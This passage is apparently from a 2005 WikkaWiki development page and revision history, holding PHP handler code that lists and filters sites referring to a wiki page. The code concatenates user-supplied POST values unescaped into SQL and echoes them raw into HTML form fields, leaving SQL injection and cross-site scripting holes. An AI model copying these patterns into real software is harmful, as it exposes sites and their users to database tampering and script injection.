define('HITS_DEFAULT', '0');
define('HITS_DEFAULT_OPTION', '1');
define('DAYS_DEFAULT', '7');
//initializing variables
$q = ''; #search string
$qo = ''; #search string option
$h = ''; #hits number
$ho = ''; #hits option
$option = '';
$hits_option = '';
$n ='';
$days = '';
$max_days = $this->GetConfigValue('referrers_purge_time');
$query = '';
$global = '';
//getting POST parameters
$q = (isset($_POST['q']))? $_POST['q'] : '';
$qo = (isset($_POST['qo']))? $_POST['qo'] : SEARCH_DEFAULT_OPTION;
$h = (isset($_POST['h']) && (strlen($_POST['h']) > 0))? $_POST['h'] : HITS_DEFAULT;
$ho = (isset($_POST['ho']))? $_POST['ho'] : HITS_DEFAULT_OPTION;
$days = (isset($_POST['days']))? $_POST['days'] : DAYS_DEFAULT;
$global = (isset($_POST['global']))? $_POST['global'] : ((isset($_GET['global']))? $_GET['global'] : '');
// restrict MySQL query by search string, time and number of hits
$option = ($qo == '1')? 'LIKE' : 'NOT LIKE'; #set search string operator
$hits_option = ($ho == '1')? '>' : '<'; #set hits operator
// build query from chunks
//$query = 'WHERE ';
//$query .= ($tag = trim($tag) ? 'page_tag = "'.mysql_real_escape_string($tag).'"' : '1'); #filter by tag
$query .= (isset($_POST['q']))? ' AND referrer '.$option.' "%'.$q.'%"' : ''; #filter by string
$query .= ' AND TO_DAYS(NOW()) - TO_DAYS(time) <= '.mysql_real_escape_string($days); #filter by time
$query .= ' GROUP BY referrer ';
$query .= ' HAVING num '.$hits_option.' '.mysql_real_escape_string($h); #filter by hits number
$query .= ' ORDER BY num desc'; # set order
$IsAdmin = $this->IsAdmin();
if ($global == 1)
{
$title = "Sites linking to this wiki ".
($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "")." (<a href=\"".$this->Href("referrers_sites", "", "global=1")."\">see list of domains</a>):";
$referrers = $this->LoadReferrers('', $query);
}
else
{
$title = "External pages linking to ".$this->Link($this->GetPageTag()).
($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "")." (<a href=\"".$this->Href("referrers_sites")."\">see list of domains</a>):";
$referrers = $this->LoadReferrers($this->GetPageTag(), $query);
}
print("<strong>$title</strong><br />\n");
print("<em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em><br />");
//print 'Query: '.$query.'<br />'; #debug
//print 'Global: '.$global; #debug
//print links
if ($global == 1)
{
print("<br />[<a href=\"".$this->href("referrers_sites")."\">View referring sites for ".$this->GetPageTag()." only</a> | <a href=\"".$this->href("referrers")."\">View referrers for ".$this->GetPageTag()." only</a> | <a href=\"".$this->href("review_blacklist")."\">View referrer blacklist</a>]<br /><br />");
}
else
{
print("<br />[<a href=\"".$this->href("referrers_sites", "", "global=1")."\">View global referring sites</a> | <a href=\"".$this->href("referrers", "", "global=1")."\">View global referrers</a> | <a href=\"".$this->href("review_blacklist")."\">View referrer blacklist</a>]<br /><br />");
}
// build form
$form = $this->FormOpen('referrers','','post');
$form .= '<table style="border: 1px solid #666; padding: 2pt; margin: 5pt">';
$form .= '<tr><td><strong>Display referrers</strong></td>';
$form .= '<td><select name="qo" title="Select search option">';
$form .= '<option value="1" '.(($qo == '1')? 'selected = "selected"' : '').'>containing</option>';
$form .= '<option value="0" '.(($qo == '0')? 'selected = "selected"' : '').'>not containing</option>';
$form .= '</select> ';
$form .= 'string: <input type ="text" name="q" title="Enter a search string" size="10" maxlength="50" value="'.$q.'"/></td><tr>';
$form .= '<tr><td></td><td>with ';
$form .= '<select name="ho" title="Select filter option">';
$form .= '<option value="1" '.(($ho == '1')? 'selected = "selected"' : '').'>more</option>';
$form .= '<option value="0" '.(($ho == '0')? 'selected = "selected"' : '').'>less</option>';
$form .= '</select> ';
$form .= ' than: <input type ="text" name="h" title="Enter number of hits" size="10" maxlength="5" value="'.$h.'"/> hits</td></tr>';
$form .= '<tr><td></td><td>for the last <select name="days" title="Select time interval">';
// build drop-down menu
for ($n = 1; $n < ($max_days+RECORD_LIMIT_STEP); $n+=RECORD_LIMIT_STEP) {
$selected = ($n == $days)? 'selected="selected"' : '';
$form .= '<option value="'.$n.'" '.$selected.'>'.$n.'</option>';
}
$form .= '</select> days</td></tr>';
$form .= '<tr><td></td><td><input type="submit" value="Submit" title="Click to query the referrer list" accesskey="a" /></td></tr>';
$form .= '</table>';
$form .= '<input type="hidden" name="global" value="'.$global.'" />';
$form .= $this->FormClose();
echo $form;
echo '<p> </p>';
if ($this->GetUser()) {
if ($referrers)
{
print("<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n");
foreach ($referrers as $referrer)
{
print("<tr>");
print("<td width=\"30\" align=\"right\" valign=\"top\" style=\"padding-right: 10px\">".$referrer["num"]."</td>");
print("<td valign=\"top\"><a href=\"".$this->htmlspecialchars_ent($referrer["referrer"])."\">".$this->htmlspecialchars_ent($referrer["referrer"])."</a> ".($IsAdmin ? "[<a href=\"".$this->href("delete_referrer", "", "spam_link=").$this->htmlspecialchars_ent($referrer["referrer"])."&redirect=".$this->GetMethod()."\">Blacklist</a>]" : "")."</td>");
print("</tr>\n");
}
print("</table>\n");
}
else
{
print("<em>None</em><br />\n");
}
} else {
print("<em>You need to login to see referring sites</em><br />\n");
}
if ($global == 1)
{
print("<br />[<a href=\"".$this->href("referrers_sites")."\">View referring sites for ".$this->GetPageTag()." only</a> | <a href=\"".$this->href("referrers")."\">View referrers for ".$this->GetPageTag()." only</a> | <a href=\"".$this->href("review_blacklist")."\">View referrer blacklist</a>]");
}
else
{
print("<br />[<a href=\"".$this->href("referrers_sites", "", "global=1")."\">View global referring sites</a> | <a href=\"".$this->href("referrers", "", "global=1")."\">View global referrers</a> | <a href=\"".$this->href("review_blacklist")."\">View referrer blacklist</a>]");
}
?>
</div>
%%
==##referrers_sites.php##==
%%(php;1)
<div class="page">
<?php
/**
* Display, filter and search the domain list for the current page
*
* Usage: append /referrers_sites to the URL of the page
*
* This handler allows users to display, filter and search the referrer list for
* the current page and for the whole site. Current search criteria include strings,
* number of hits, reference period.
*
* @package Handlers
* @subpackage
* @name referrers_sites
*
* @author {@link http://wikka.jsnx.com/DarTar Dario Taraborelli} - code cleanup, search/filter functionality added.
* @version 0.1
* @since Wikka 1.1.6.X
*
*/
//constants
define('RECORD_LIMIT_STEP', '1');
define('SEARCH_DEFAULT_OPTION', '1');
define('HITS_DEFAULT', '1');
define('HITS_DEFAULT_OPTION', '1');
define('DAYS_DEFAULT', '7');
//initializing variables
$q = ''; #search string
$qo = ''; #search string option
$h = ''; #hits number
$ho = ''; #hits option
$option = '';
$hits_option = '';
$n ='';
$days = '';
$max_days = $this->GetConfigValue('referrers_purge_time');
$query = '';
$global = '';
//getting POST parameters
$q = (isset($_POST['q']))? $_POST['q'] : '';
$qo = (isset($_POST['qo']))? $_POST['qo'] : SEARCH_DEFAULT_OPTION;
$h = (isset($_POST['h']))? $_POST['h'] : HITS_DEFAULT;
$ho = (isset($_POST['ho']))? $_POST['ho'] : HITS_DEFAULT_OPTION;
$days = (isset($_POST['days']))? $_POST['days'] : DAYS_DEFAULT;
$global = (isset($_POST['global']))? $_POST['global'] : ((isset($_GET['global']))? $_GET['global'] : '');
// restrict MySQL query by search string, time and number of hits
$option = ($qo == '1')? 'LIKE' : 'NOT LIKE'; #set search string operator
$hits_option = ($ho == '1')? '>=' : '<='; #set hits operator
// build query from chunks
//$query = 'WHERE ';
//$query .= ($tag = trim($tag) ? 'page_tag = "'.mysql_real_escape_string($tag).'"' : '1'); #filter by tag
$query .= (isset($_POST['q']))? ' AND referrer '.$option.' "%'.$q.'%"' : ''; #filter by string
$query .= ' AND TO_DAYS(NOW()) - TO_DAYS(time) <= '.mysql_real_escape_string($days); #filter by time
$query .= ' GROUP BY referrer ';
$query .= ' HAVING num '.$hits_option.' '.mysql_real_escape_string($h); #filter by hits number
$query .= ' ORDER BY num desc'; # set order
$IsAdmin = $this->IsAdmin();
if ($global == 1)
{
$title = "Domains/sites linking to this wiki ".
($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "")." (<a href=\"".$this->Href("referrers", "", "global=1")."\">see list of different URLs</a>):";
$referrers = $this->LoadReferrers('', $query);
}
else
{
$title = "Domains/sites pages linking to ".$this->Link($this->GetPageTag()).
($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "")." (<a href=\"".$this->Href("referrers")."\">see list of different URLs</a>):";
$referrers = $this->LoadReferrers($this->GetPageTag(), $query);
}
print("<strong>$title</strong><br />\n");
print("<em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em><br />");
//print 'Query: '.$query.'<br />'; #debug
//print 'Global: '.$global; #debug
//print links
if ($global == 1)
{
print("<br />[<a href=\"".$this->Href("referrers_sites")."\">View referring sites for ".$this->GetPageTag()." only</a> | <a href=\"".$this->Href("referrers")."\">View referrers for ".$this->GetPageTag()." only</a> | <a href=\"".$this->Href("review_blacklist")."\">View referrer blacklist</a>]<br /><br />");
}
else
{
print("<br />[<a href=\"".$this->Href("referrers_sites", "", "global=1")."\">View global referring sites</a> | <a href=\"".$this->Href("referrers", "", "global=1")."\">View global referrers</a> | <a href=\"".$this->Href("review_blacklist")."\">View referrer blacklist</a>]<br /><br />");
}
// build form
$form = $this->FormOpen('referrers_sites','','post');
$form .= '<table style="border: 1px solid #666; padding: 2pt; margin: 5pt">';
$form .= '<tr><td><strong>Display domains</strong></td>';
$form .= '<td><select name="qo" title="Select search option">';
$form .= '<option value="1" '.(($qo == '1')? 'selected = "selected"' : '').'>containing</option>';
$form .= '<option value="0" '.(($qo == '0')? 'selected = "selected"' : '').'>not containing</option>';
$form .= '</select> ';
$form .= 'string: <input type ="text" name="q" title="Enter a search string" size="10" maxlength="50" value="'.$q.'"/></td><tr>';
$form .= '<tr><td></td><td>with ';
$form .= '<select name="ho" title="Select filter option">';
$form .= '<option value="1" '.(($ho == '1')? 'selected = "selected"' : '').'>more</option>';
$form .= '<option value="0" '.(($ho == '0')? 'selected = "selected"' : '').'>less</option>';
$form .= '</select> ';
$form .= ' than: <input type ="text" name="h" title="Enter number of hits" size="10" maxlength="5" value="'.$h.'"/> hits</td></tr>';
$form .= '<tr><td></td><td>for the last <select name="days" title="Select time interval">';
// build drop-down menu
for ($n = 1; $n < ($max_days+RECORD_LIMIT_STEP); $n+=RECORD_LIMIT_STEP) {
$selected = ($n == $days)? 'selected="selected"' : '';
$form .= '<option value="'.$n.'" '.$selected.'>'.$n.'</option>';
}
$form .= '</select> days</td></tr>';
$form .= '<tr><td></td><td><input type="submit" value="Submit" title="Click to query the referrer list" accesskey="a" /></td></tr>';
$form .= '</table>';
$form .= '<input type="hidden" name="global" value="'.$global.'" />';
$form .= $this->FormClose();
echo $form;
echo '<p> </p>';
if ($this->GetUser()) {
if ($referrers)
{
for ($a = 0; $a < count($referrers); $a++)
{
$temp_parse_url = parse_url($referrers[$a]["referrer"]);
$temp_parse_url = ($temp_parse_url["host"] != "") ? strtolower(preg_replace("/^www\./Ui", "", $temp_parse_url["host"])) : "unknown";
if (isset($referrer_sites["$temp_parse_url"]))
{
$referrer_sites["$temp_parse_url"] += $referrers[$a]["num"];
}
else
{
$referrer_sites["$temp_parse_url"] = $referrers[$a]["num"];
}
}
array_multisort($referrer_sites, SORT_DESC, SORT_NUMERIC);
reset($referrer_sites);
print("<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n");
foreach ($referrer_sites as $site => $site_count)
{
print("<tr>");
print("<td width=\"30\" align=\"right\" valign=\"top\" style=\"padding-right: 10px\">$site_count</td>");
print("<td valign=\"top\">" . (($site != "unknown") ? "<a href=\"http://".$this->htmlspecialchars_ent($site)."\">".$this->htmlspecialchars_ent($site)."</a>" : $site) . "</a> ".($IsAdmin ? "[<a href=\"".$this->href("delete_referrer", "", "spam_site=").$this->htmlspecialchars_ent($site)."&redirect=".$this->GetMethod()."\">Blacklist</a>]" : "")."</td>");
print("</tr>\n");
}
print("</table>\n");
}
else
{
print("<em>None</em><br />\n");
}
} else {
print("<em>You need to login to see referring sites</em><br />\n");
}
if ($global == 1)
{
print("<br />[<a href=\"".$this->Href("referrers_sites")."\">View referring sites for ".$this->GetPageTag()." only</a> | <a href=\"".$this->Href("referrers")."\">View referrers for ".$this->GetPageTag()." only</a> | <a href=\"".$this->Href("review_blacklist")."\">View referrer blacklist</a>]");
}
else
{
print("<br />[<a href=\"".$this->Href("referrers_sites", "", "global=1")."\">View global referring sites</a> | <a href=\"".$this->Href("referrers", "", "global=1")."\">View global referrers</a> | <a href=\"".$this->Href("review_blacklist")."\">View referrer blacklist</a>]");
}
?>
</div>
%%
Deletions:
(stub)


Revision [7903]

Edited on 2005-05-04 22:11:05 by DarTar [Empty page, I'll fill it tomorrow :)]
Additions:
=====Advanced Referrers Handler=====

>>==See also:==
Documentation: ""AdvancedReferrersHandlerInfo"".>>This is the development page for an advanced referrers handler.::c::

(stub)
----
Deletions:
=====xxxxx Handler=====

>>==See also:==
Documentation: xxxxxHandlerInfo.>>This is the development page for the xxxxx handler.::c::
//This page is a **template**. It belongs to CategoryTemplate (which contains more handy templates). To create a handler development page, [[http://wikka.jsnx.com/HandlerTemplate/clone clone this page]] to a page called **xxxxxHandler** (where xxxxx is the (capitalized) name of the handler), replace all occurrences of 'xxxxx' with the name of the handler and replace this paragraph with the actual content.//

----


Revision [7902]

The oldest known version of this page was created on 2005-05-04 22:09:29 by DarTar [Empty page, I'll fill it tomorrow :)]
Valid XHTML :: Valid CSS: :: Powered by WikkaWiki